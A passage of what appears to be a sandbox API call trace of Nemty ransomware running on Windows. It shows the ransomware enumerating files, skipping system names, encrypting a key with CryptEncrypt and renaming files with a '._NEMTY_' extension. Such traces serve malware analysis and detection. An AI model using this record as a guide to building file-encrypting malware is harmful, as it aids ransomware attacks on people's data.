hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.898] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.898] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.898] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.908] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0053.920] CloseHandle (hObject=0xffffffff) returned 0 [0053.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0053.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0053.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0053.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0053.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0053.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0053.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6344090 [0053.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344138 [0053.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0053.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0053.920] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv._nemty_kgobjgd_")) returned 0 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344138 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0053.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.921] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2=".") returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="..") returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="...") returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="windows") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="rsa") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntldr") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="IO.SYS") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="RECYCLER") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="programdata") returned -1 [0053.921] lstrcmpiW (lpString1="BabyBoyMainBackground_PAL.wmv", lpString2="appdata") returned 1 [0053.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0053.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0053.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyMainBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyMainBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 29 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0053.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0053.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0053.922] Sleep (dwMilliseconds=0x5) [0053.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3ca3610, dwHighDateTime=0x1d561e7)) [0053.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd3ca3610, dwHighDateTime=0x1d561e7)) [0053.927] GetLastError () returned 0x5 [0053.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0053.927] GetLastError () returned 0x5 [0053.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0053.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0053.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0053.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0053.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0053.928] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0053.928] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="GHQcX17oLsgM11jFnZ5++MVwgkkcNxr79rBPMiWrO3sesUdgJSeKLzf7KRO/m2NN\r\n7aUBhj7qf1DMgYNULFXRrwM9wGx8LmXtNoBRYg0RKykceYqHvrLxpwNM7nncR9LN\r\nAnfUu1G1yHiyDy4Ddxxiq4K6jksbVrrqPXpX2jifaPgNS0FeXr24BzigHg+qNIJs\r\nzy4tmNltoCluYo3E4FkLZgT5+78jJ9zsMzBTVcNK8h11dceHafuNoQuYX0CDWElC\r\ndiHUpuxA+iCxe68JKrzYcJKguqhwPcjPOEqD2EgDqqQSgBfEFLP6xWtmTGooT9Gh\r\n77MVJrVlI1iBRj+vmOKUUg==\r\n", pcchString=0x653e91c) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340270 [0053.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0053.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403e8 [0053.928] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0053.928] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0053.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0053.928] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.928] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.937] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.937] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.956] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.956] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0053.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0053.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0053.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.013] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.022] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) 